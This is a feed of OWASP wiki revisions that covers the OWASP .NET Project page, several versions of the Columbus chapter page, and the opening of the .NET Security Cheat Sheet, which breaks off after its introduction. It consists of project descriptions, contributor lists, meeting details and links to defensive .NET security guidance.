Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.&lt;br /&gt;
&lt;br /&gt;
==Purpose==&lt;br /&gt;
&lt;br /&gt;
* Provide deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Create guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Focus on information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is the OWASP .NET Project? ==&lt;br /&gt;
&lt;br /&gt;
* Deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
* [[Language|Languages Repository]]&lt;br /&gt;
* [[Java|Java and JVM]]&lt;br /&gt;
* [[Python|Python]]&lt;br /&gt;
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]&lt;br /&gt;
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]&lt;br /&gt;
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core&lt;br /&gt;
* [Jan 2016] Added the Two Factor Authentication component&lt;br /&gt;
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!&lt;br /&gt;
* [Jan 2015] Three completed articles, and four in progress&lt;br /&gt;
* [Oct 2014] Promoted our first guidance article from Draft&lt;br /&gt;
* [Sep 2014] AppSec USA .NET Project Summit&lt;br /&gt;
* [Mar 2014] Project roadmap&lt;br /&gt;
* [Feb 2014] Project reboot&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Resources=&lt;br /&gt;
&lt;br /&gt;
The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.&lt;br /&gt;
&lt;br /&gt;
== Detailed Guidance ==&lt;br /&gt;
The following articles describe specific guidance for working with the .NET Framework.&lt;br /&gt;
&lt;br /&gt;
* The [[.NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing]]&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
* [[Using Rfc2898DeriveBytes for PBKDF2]]&lt;br /&gt;
* [[Anti CSRF Tokens ASP.NET]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
== Security Guidance ==&lt;br /&gt;
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing| .NET Penetration Testing]]&lt;br /&gt;
&lt;br /&gt;
The following sections include specific guidance for particular technological problems related to .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]&lt;br /&gt;
* [[.Net CSRF Guard]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]&lt;br /&gt;
* [[.NET AntiXSS Library]]&lt;br /&gt;
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]&lt;br /&gt;
&lt;br /&gt;
== Recommended Resources ==&lt;br /&gt;
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:&lt;br /&gt;
&lt;br /&gt;
; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]&lt;br /&gt;
&lt;br /&gt;
== Active Projects ==&lt;br /&gt;
; [[OWASP .NET Active Projects]]&lt;br /&gt;
&lt;br /&gt;
== Research Projects ==&lt;br /&gt;
; [[OWASP .NET Research]]&lt;br /&gt;
&lt;br /&gt;
=Joining the Project=&lt;br /&gt;
==Get involved==&lt;br /&gt;
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])&lt;br /&gt;
==Project Roadmap==&lt;br /&gt;
The project's high level roadmap can be found at the [[OWASP .Net Project Roadmap]]&lt;br /&gt;
* Please submit your ideas for articles, content and general feedback to the [[.NET Project Wishlist]].&lt;br /&gt;
* If you'd like to contribute:&lt;br /&gt;
# visit the [[Tutorial]], &lt;br /&gt;
# and pick a topic from the [[.NET Project Wishlist]] or suggest a new topic&lt;br /&gt;
# or check out our active projects list, [[OWASP .NET Active Projects]], and join one today.&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Remember to add the tag: &amp;lt;nowiki&amp;gt;[[Category:OWASP .NET Project]]&amp;lt;/nowiki&amp;gt; to the end of new articles so that they're properly categorized.'''&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
=Project Tracker=&lt;br /&gt;
==Timeline==&lt;br /&gt;
* January 2016 - Added the Two Factor Authentication component&lt;br /&gt;
* January 2015 - Three more completed articles, and four in progress&lt;br /&gt;
* November 2014 - Four completed articles, six in process.&lt;br /&gt;
* September 2014 - AppSec USA &lt;br /&gt;
* March 2014 - Project Roadmap&lt;br /&gt;
* February - 2014 Project Reboot&lt;br /&gt;
* May 2009 - Updated tabs, added content recommended by Andre Gironda&lt;br /&gt;
* March 2009 - Converted to new tab format, added Project Tracker tab&lt;br /&gt;
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
==Questions and answers==&lt;br /&gt;
; Q1: Why are there so many empty projects?&lt;br /&gt;
; A1: Because YOU haven't worked on them! We need your help!&lt;br /&gt;
&lt;br /&gt;
; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!&lt;br /&gt;
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
; Q3: Where are the .NET specific security tools.&lt;br /&gt;
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.&lt;br /&gt;
&lt;br /&gt;
=Volunteers=&lt;br /&gt;
&lt;br /&gt;
==Get involved==&lt;br /&gt;
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])&lt;br /&gt;
&lt;br /&gt;
==Already involved==&lt;br /&gt;
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:&lt;br /&gt;
&lt;br /&gt;
* Kevin Basista&lt;br /&gt;
* Brice Williams&lt;br /&gt;
* Marion Nepomuceno&lt;br /&gt;
* Dan Wilson&lt;br /&gt;
* Jess Vermont&lt;br /&gt;
* Jeff Knutson&lt;br /&gt;
* Robert Ginsburg&lt;br /&gt;
* Kyle Johnson&lt;br /&gt;
* Troy Hunt &lt;br /&gt;
* Dinis Cruz&lt;br /&gt;
* Shamir Charania&lt;br /&gt;
* Mohammed Al-Taweel&lt;br /&gt;
* Daniel Brzozowski&lt;br /&gt;
* Lachlan Barclay&lt;br /&gt;
* Bill Sempf&lt;br /&gt;
* Barry Dorrans (Microsoft)&lt;br /&gt;
* Reid Borsuk (Microsoft)&lt;br /&gt;
&lt;br /&gt;
We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to  exploit. &lt;br /&gt;
&lt;br /&gt;
The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.&lt;br /&gt;
&lt;br /&gt;
== Themes ==&lt;br /&gt;
The themes of the .NET Project include:&lt;br /&gt;
* Deep, rich guidance for .NET developers using the security features of .NET&lt;br /&gt;
* Access to use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Features ==&lt;br /&gt;
&lt;br /&gt;
Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.&lt;br /&gt;
&lt;br /&gt;
=== Guidance ===&lt;br /&gt;
&lt;br /&gt;
Guidance is documentation that assists .NET developers implementing the security features of the framework.&lt;br /&gt;
&lt;br /&gt;
==== In-process guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[Windows Identity Foundation]]&lt;br /&gt;
* [[.NET Memory Management]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
==== Needed guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[ASP.NET Identity]]&lt;br /&gt;
* [[DPAPI]]&lt;br /&gt;
* [[ClickOnce Deployment]]&lt;br /&gt;
* [[.NET Callbacks - Vulnerabilities and Remediation]]&lt;br /&gt;
* [[Dependency Injection]]&lt;br /&gt;
* [[IoC containers]]&lt;br /&gt;
* [[Preventing SQL Injection in ADO.NET]]&lt;br /&gt;
* [[Authenticated Symmetric Encryption in .NET]]&lt;br /&gt;
&lt;br /&gt;
=== Components === &lt;br /&gt;
&lt;br /&gt;
Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.&lt;br /&gt;
&lt;br /&gt;
==== Needed Components ====&lt;br /&gt;
&lt;br /&gt;
Please suggest needed components.&lt;br /&gt;
&lt;br /&gt;
=== Projects that use .NET ===&lt;br /&gt;
&lt;br /&gt;
These are projects that happen to be built in .NET. Many of them could use .NET development assistance:&lt;br /&gt;
&lt;br /&gt;
* [[OWASP O2 Platform]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]&lt;br /&gt;
&lt;br /&gt;
== Ideas ==&lt;br /&gt;
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP .NET Project&lt;br /&gt;
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.&lt;br /&gt;
| project_license =CC-BY 3.0 for documentation and GPLv3 for code. &lt;br /&gt;
| project_home_page = &lt;br /&gt;
| leader_name1 = Bill Sempf&lt;br /&gt;
| leader_email1 =&lt;br /&gt;
| leader_username1 = Bill_Sempf&lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = owasp-dotnet&lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Columbus&amp;diff=229436</id>
		<title>Columbus</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Columbus&amp;diff=229436"/>
				<updated>2017-05-05T22:18:33Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: /* Sponsorship, too! */ Fixed donation link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.&lt;br /&gt;
&lt;br /&gt;
== Upcoming Meetings ==&lt;br /&gt;
&lt;br /&gt;
'''''Upcoming meetings are listed at our new [http://www.meetup.com/Columbus-OWASP/ Meetup.com site].'''''&lt;br /&gt;
&lt;br /&gt;
== Chapter information ==&lt;br /&gt;
&lt;br /&gt;
Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff.  All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Membership  ===&lt;br /&gt;
&lt;br /&gt;
There have been a lot of questions about membership.  Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here].  Remember to tell them you are interested in membership in the Columbus chapter.&lt;br /&gt;
&lt;br /&gt;
=== Stay in touch with Columbus OWASP  ===&lt;br /&gt;
&lt;br /&gt;
*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!&lt;br /&gt;
&lt;br /&gt;
*We're a group on [http://www.linkedin.com/groups?home=&amp;amp;gid=2796025 LinkedIn] as well, please join us. &lt;br /&gt;
&lt;br /&gt;
=== Become a voting member  ===&lt;br /&gt;
&lt;br /&gt;
We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics &amp;amp;amp; principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information. &lt;br /&gt;
&lt;br /&gt;
''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.'' &lt;br /&gt;
&lt;br /&gt;
=== We want your participation!  ===&lt;br /&gt;
&lt;br /&gt;
To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic. &lt;br /&gt;
&lt;br /&gt;
=== Sponsorship, too!  ===&lt;br /&gt;
&lt;br /&gt;
There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be [https://www.owasp.org/index.php/Single_Meeting_Supporter made online right now].&lt;br /&gt;
&lt;br /&gt;
== Previous Meetings  ==&lt;br /&gt;
&lt;br /&gt;
The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]&lt;br /&gt;
&lt;br /&gt;
== Columbus OWASP Chapter Leaders  ==&lt;br /&gt;
&lt;br /&gt;
Please feel free to contact the chapter leaders at any time. &lt;br /&gt;
&lt;br /&gt;
*[mailto:aaronansari@gmail.com Aaron Ansari] &lt;br /&gt;
*[mailto:Connie.Matthews(at)securicon.com  Connie Matthews] &lt;br /&gt;
*[mailto:bill(at)pointweb.net Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Chapter]] [[Category:Ohio]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Columbus&amp;diff=229435</id>
		<title>Columbus</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Columbus&amp;diff=229435"/>
				<updated>2017-05-05T22:16:10Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: /* Other Local InfoSec Resources */ Deleted section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.&lt;br /&gt;
&lt;br /&gt;
== Upcoming Meetings ==&lt;br /&gt;
&lt;br /&gt;
'''''Upcoming meetings are listed at our new [http://www.meetup.com/Columbus-OWASP/ Meetup.com site].'''''&lt;br /&gt;
&lt;br /&gt;
== Chapter information ==&lt;br /&gt;
&lt;br /&gt;
Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff.  All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Membership  ===&lt;br /&gt;
&lt;br /&gt;
There have been a lot of questions about membership.  Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here].  Remember to tell them you are interested in membership in the Columbus chapter.&lt;br /&gt;
&lt;br /&gt;
=== Stay in touch with Columbus OWASP  ===&lt;br /&gt;
&lt;br /&gt;
*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!&lt;br /&gt;
&lt;br /&gt;
*We're a group on [http://www.linkedin.com/groups?home=&amp;amp;gid=2796025 LinkedIn] as well, please join us. &lt;br /&gt;
&lt;br /&gt;
=== Become a voting member  ===&lt;br /&gt;
&lt;br /&gt;
We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics &amp;amp;amp; principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information. &lt;br /&gt;
&lt;br /&gt;
''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.'' &lt;br /&gt;
&lt;br /&gt;
=== We want your participation!  ===&lt;br /&gt;
&lt;br /&gt;
To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic. &lt;br /&gt;
&lt;br /&gt;
=== Sponsorship, too!  ===&lt;br /&gt;
&lt;br /&gt;
There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be made online right now: ''&amp;lt;paypal&amp;gt;Columbus&amp;lt;/paypal&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
== Previous Meetings  ==&lt;br /&gt;
&lt;br /&gt;
The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]&lt;br /&gt;
&lt;br /&gt;
== Columbus OWASP Chapter Leaders  ==&lt;br /&gt;
&lt;br /&gt;
Please feel free to contact the chapter leaders at any time. &lt;br /&gt;
&lt;br /&gt;
*[mailto:aaronansari@gmail.com Aaron Ansari] &lt;br /&gt;
*[mailto:Connie.Matthews(at)securicon.com  Connie Matthews] &lt;br /&gt;
*[mailto:bill(at)pointweb.net Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Chapter]] [[Category:Ohio]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Columbus&amp;diff=229434</id>
		<title>Columbus</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Columbus&amp;diff=229434"/>
				<updated>2017-05-05T22:14:12Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Freshened up the page a bit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.&lt;br /&gt;
&lt;br /&gt;
== Upcoming Meetings ==&lt;br /&gt;
&lt;br /&gt;
'''''Upcoming meetings are listed at our new [http://www.meetup.com/Columbus-OWASP/ Meetup.com site].'''''&lt;br /&gt;
&lt;br /&gt;
== Chapter information ==&lt;br /&gt;
&lt;br /&gt;
Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff.  All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Membership  ===&lt;br /&gt;
&lt;br /&gt;
There have been a lot of questions about membership.  Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here].  Remember to tell them you are interested in membership in the Columbus chapter.&lt;br /&gt;
&lt;br /&gt;
=== Stay in touch with Columbus OWASP  ===&lt;br /&gt;
&lt;br /&gt;
*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!&lt;br /&gt;
&lt;br /&gt;
*We're a group on [http://www.linkedin.com/groups?home=&amp;amp;gid=2796025 LinkedIn] as well, please join us. &lt;br /&gt;
&lt;br /&gt;
=== Become a voting member  ===&lt;br /&gt;
&lt;br /&gt;
We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics &amp;amp;amp; principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information. &lt;br /&gt;
&lt;br /&gt;
''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.'' &lt;br /&gt;
&lt;br /&gt;
=== We want your participation!  ===&lt;br /&gt;
&lt;br /&gt;
To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic. &lt;br /&gt;
&lt;br /&gt;
=== Sponsorship, too!  ===&lt;br /&gt;
&lt;br /&gt;
There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be made online right now: ''&amp;lt;paypal&amp;gt;Columbus&amp;lt;/paypal&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
== Previous Meetings  ==&lt;br /&gt;
&lt;br /&gt;
The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]&lt;br /&gt;
&lt;br /&gt;
== Columbus OWASP Chapter Leaders  ==&lt;br /&gt;
&lt;br /&gt;
Please feel free to contact the chapter leaders at any time. &lt;br /&gt;
&lt;br /&gt;
*[mailto:aaronansari@gmail.com Aaron Ansari] &lt;br /&gt;
*[mailto:Connie.Matthews(at)securicon.com  Connie Matthews] &lt;br /&gt;
*[mailto:bill(at)pointweb.net Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
== Other Local InfoSec Resources  ==&lt;br /&gt;
&lt;br /&gt;
*[http://infragard.columbus.oh.us/ Central Ohio InfraGard] &lt;br /&gt;
*[http://www.isaca-centralohio.org/ Central Ohio ISACA] &lt;br /&gt;
*[http://centralohioissa.org/ Central Ohio ISSA] &lt;br /&gt;
*[http://thesecuritymba.org/ Central Ohio (ISC)2 / Security MBA ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Chapter]] [[Category:Ohio]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=227617</id>
		<title>.NET Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=227617"/>
				<updated>2017-03-19T15:29:29Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
== Introduction  ==&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
This page intends to provide quick basic .NET security tips for developers.&lt;br /&gt;
&lt;br /&gt;
===The .NET Framework===&lt;br /&gt;
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.&lt;br /&gt;
&lt;br /&gt;
===Updating the Framework===&lt;br /&gt;
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.&lt;br /&gt;
&lt;br /&gt;
